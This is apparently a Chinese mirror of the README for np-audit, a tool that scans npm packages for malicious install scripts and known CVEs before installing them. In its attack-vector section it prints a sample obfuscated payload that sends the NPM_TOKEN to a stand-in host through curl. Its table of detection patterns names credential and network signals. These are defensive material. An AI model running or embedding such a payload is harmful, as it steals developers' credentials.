KoblerS/np-audit

GitHub: KoblerS/np-audit

npm 包安装前的静态安全审计工具,用于检测恶意代码模式和已知漏洞。

Stars: 7 | Forks: 0

![np-audit](https://static.pigsec.cn/wp-content/uploads/repos/cas/a8/a808c9a11d5222f8eb45583413243da4964ec0e1b7e7e278e5bdcfd5245b8020.png) [![npm 版本](https://img.shields.io/npm/v/np-audit.svg)](https://www.npmjs.com/package/np-audit) [![npm 下载量](https://img.shields.io/npm/dm/np-audit.svg)](https://www.npmjs.com/package/np-audit) [![npm 包大小](https://img.shields.io/npm/unpacked-size/np-audit)](https://www.npmjs.com/package/np-audit) [![GitHub 许可证](https://img.shields.io/github/license/KoblerS/np-audit.svg)](https://github.com/KoblerS/np-audit/blob/main/LICENSE) [![CI](https://static.pigsec.cn/wp-content/uploads/repos/cas/ad/ad5834178f7599af9fdda11629d49cae07f2997beec49821b2920eff5bfd50e7.svg)](https://github.com/KoblerS/np-audit/actions/workflows/ci.yml) [![codecov](https://codecov.io/gh/KoblerS/np-audit/branch/main/graph/badge.svg)](https://codecov.io/gh/KoblerS/np-audit) # np-audit — npm 包审计器 针对 npm 包的静态安全分析 — 在它们运行**之前**检测混淆的生命周期脚本、已知漏洞和恶意模式。是 `npm install` 和 `npm ci` 的直接替代品。 **零依赖。** 仅使用纯 Node.js 内置模块。网络传输大小 **< 100 kB**。 ``` npx np-audit scan express ``` ``` npm install -g np-audit npa scan # scan all deps npa install # audit then install alias npm='npa' # use as drop-in replacement ``` ## Marshallers 检测被拆分为模块化的 marshallers — 每一个负责检测一种攻击信号: | Marshaller | 检测内容 | 分数 | | ---------- | --------------- | ----- | | `eval/dynamic-exec` | `eval()`、`new Function()`、间接 eval、`vm.*`、带字符串的 `setTimeout` | 8 | | `obfuscator.io` | `_0x` 变量命名模式(obfuscator.io 输出) | 9–80 | | `high-entropy-string` | 具有高香农熵的长字符串或拼接链 | 6 | | `hex-escape-density` | 密集的 `\xNN` 和 `\uXXXX` 转义序列 | 5–50 | | `fromCharCode` | 带有大量参数的 `String.fromCharCode`、大型十进制字符代码数组 | 7 | | `encoded-decode` | Base64/hex 解码(`atob`、`Buffer.from`),可选择与 `eval` 结合 | 3–8 | | `child-process` | `require('child_process')`、`exec`、`spawn`、`fork`、worker_threads | 5 | | `hex-array` | 大量 `0x` 十六进制字面量 | 7–60 | | `process-env` | `process.env` 访问(凭据泄露信号) | 3 | | `network-call` | `require('https')`、`fetch()`、`dns`、`net`、`tls` | 4 | | `filesystem-manipulation` | `fs.writeFile`、`chmod`、`symlink`(后门持久化) | 3–4 | | `runtime-download` | 下载并执行外部 runtime(Bun、Deno) | 9–50 | | `vscode-autorun` | 带有 `runOn: folderOpen` 的 VS Code 任务(自动执行) | 30 | | `known-vulnerability` | 通过 Snyk API 或 OSV.dev 发现的已知 CVE | 4–6 (WARN), 80 (恶意) | 分数随严重程度而变化 — 混淆指标的数量越多,分数越高。最终结论基于所有 marshallers 中的最高单项分数。 ## 漏洞扫描 (CVE) 每个被扫描的包都会在代码分析的同时,与已知的漏洞数据库进行比对检查。 **默认:OSV.dev(无需设置)** 开箱即用 — 查询免费的 [OSV.dev](https://osv.dev/) API 以获取已知漏洞和恶意软件包公告。 **可选:Snyk API(数据更丰富)** ``` # 环境变量 export SNYK_API_TOKEN=your-token-here # 或通过 Snyk CLI snyk auth ``` Token 解析顺序:`SNYK_API_TOKEN` → `SNYK_TOKEN` → `~/.config/configstore/snyk.json` | 严重性 | 分数 | 结论 | | -------- | ----- | ------- | | 恶意包 | 80 | DANGER | | 10+ 个漏洞 | 6 | WARN | | 5–9 个漏洞 | 5 | WARN | | 1–4 个漏洞 | 4 | WARN | 非恶意的 CVE 会产生警告,但绝不会阻止安装。只有被确认的恶意包才会触发 DANGER。 ## 用法 ### 命令 | 命令 | 别名 | 描述 | | ------------------------------ | ----------- | ---------------------------------- | | `npa install [package]` | `npa i` | 审计然后运行 `npm install` | | `npa ci` | — | 审计然后运行 `npm ci` | | `npa scan [package]` | `npa s` | 仅扫描,不安装 | | `npa config get` | `npa c get` | 显示当前配置 | | `npa config set ` | `npa c set` | 更新配置值 | | `npa alias --install` | — | 安装 shell alias | | `npa alias --uninstall` | — | 移除 shell alias | 任何无法识别的命令都会被转发给 npm(例如 `npa run test`、`npa publish`)。 ### 标志 | 标志 | 别名 | 适用于 | 描述 | | ----------- | ----- | ----------------------- | ------------------------------------------------ | | `--review` | `-r` | `install`、`ci` | 交互模式 — 选择允许哪些脚本 | | `--json` | — | `install`、`ci`、`scan` | 机器可读的 JSON 输出 | | `--no-dev` | — | `install`、`ci`、`scan` | 跳过 devDependencies | | `--verbose` | — | 所有 | 显示抓取进度和额外详情 | | `--version` | `-v` | — | 打印版本并退出 | | `--help` | `-h` | — | 打印帮助并退出 | ### 交互式 `--review` 模式 ``` npa install --review ``` ``` npa --review mode Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit Found 3 package(s) with install scripts: [✓ allow] esbuild@0.24.2 postinstall: post-install.js OK ▶ [✗ deny ] evil-sdk@1.0.0 postinstall: install.js DANGER (score: 9) [✓ allow] @scope/pkg@2.1.0 postinstall: install.js WARN (score: 5) 2 allowed 1 denied ``` ## 配置 配置存储在 `~/.npmauditor.json`(全局)中,并且可以通过项目中的 `.npmauditor.json` 进行覆盖。 ``` npa config get # Show current config npa config set blockScore 6 # Block at score 6+ npa config set skipPackages '["esbuild"]' # Trust specific packages npa config set skipScopes '["@types"]' # Trust entire scopes ``` ### 所有配置键 | 键 | 默认值 | 描述 | | ----------------- | ---------------------------- | --------------------------------------- | | `blockScore` | `7` | 触发 DANGER 的分数阈值(退出代码 1) | | `warnScore` | `4` | 触发 WARN 的分数阈值(退出代码 0) | | `registry` | `https://registry.npmjs.org` | npm registry URL | | `timeout` | `30000` | HTTP 请求超时 (ms) | | `parallelFetches` | `5` | 并发下载 | | `skipScopes` | `[]` | 要跳过的 `@scope` 前缀 | | `skipPackages` | `[]` | 要跳过的包名 | | `silent` | `false` | 未发现问题时抑制输出 | | `scanSelf` | `true` | 扫描自身项目的生命周期脚本 | | `maxTarballSize` | `50MB` | 最大解压后的 tarball 大小(防炸弹保护) | | `checkVulnerabilities` | `true` | 针对 CVE 数据库检查包 | | `deepResolve` | `false` | 解析完整的传递依赖树 | | `disabledMarshallers` | `[]` | 扫描期间要跳过的 Marshaller 名称 | ### 禁用 marshallers 您可以通过将特定 marshaller 的名称添加到 `disabledMarshallers` 中来禁用它们的检测检查: ``` npa config set disabledMarshallers '["process-env", "network-call"]' ``` 要查看所有可用的 marshaller 名称及其当前状态: ``` npa config marshallers ``` 当某个 marshaller 对您的工作流产生误报时,这会很有用。被禁用的 marshaller 在静态代码分析和包级别检查期间都会被完全跳过。 ## Shell Alias 将 npa 用作透明的 npm 替代品: ``` npa alias --install # adds: alias npm='npa' source ~/.zshrc # reload shell ``` 现在 `npm install`、`npm ci` 会自动进行扫描。所有其他 npm 命令(`npm run`、`npm test`、`npm publish`)都将原样透传。 ``` npa alias --uninstall # remove the alias ``` ## 工作原理 1. **解析** `package-lock.json` (v1/v2/v3) 或从 `package.json` 进行解析 2. **抓取** 来自 registry 的 tarball(或从 `node_modules` 读取) 3. **解析** 生命周期命令 — 分割 `&&`/`||`/`;`/`|`,处理 `node -e`、`sh -c`、shell 脚本 4. **遍历** 从每个入口开始的 `require()`/`import` 图(带有循环检测、50 个文件 / 5 MB 上限) 5. **分析** 使用所有 marshallers — 静态代码检查 + CVE 数据库查询 6. **评分** 并分类:DANGER / WARN / OK 7. **报告** 或继续执行安装 ## 攻击向量 供应链攻击会滥用 npm 生命周期脚本。当您运行 `npm install` 时,任何 `preinstall`/`install`/`postinstall` 脚本都会自动运行。攻击者将 payload 隐藏在混淆代码背后: ``` var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73']; eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)'); ``` 真实世界的事件: - **[event-stream (2018)](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident)** — 比特币钱包凭据盗窃 - **[ua-parser-js (2021)](https://github.com/advisories/GHSA-pjwm-rvh2-c87w)** — 加密货币矿工 + 信息窃取器 - **[node-ipc (2022)](https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/)** — 针对特定地理区域的擦除型恶意软件 - **[colors / faker (2022)](https://snyk.io/blog/open-source-npm-packages-colors-faker/)** — 维护者蓄意破坏 - **[SAP CAP / cds-dbs (2025)](https://community.sap.com/t5/technology-blog-posts-by-sap/cap-developers-call-to-action-to-mitigate-and-apply-solution-provided-in/ba-p/14387683)** — 针对企业开发者的受损包 `npa` **绝不执行** 脚本。它只会下载并对其进行静态分析。 ## 退出代码 | 代码 | 含义 | | ---- | ----------------------------------- | | `0` | 全部通过或仅有警告 | | `1` | 有一个或多个包被阻止 | ## 许可证 MIT
标签:CISA项目, DNS 反向解析, GNU通用公共许可证, MITM代理, Node.js, npm, 安全专业人员, 文档结构分析, 暗色界面, 自定义脚本, 配置审计, 错误基检测, 静态代码分析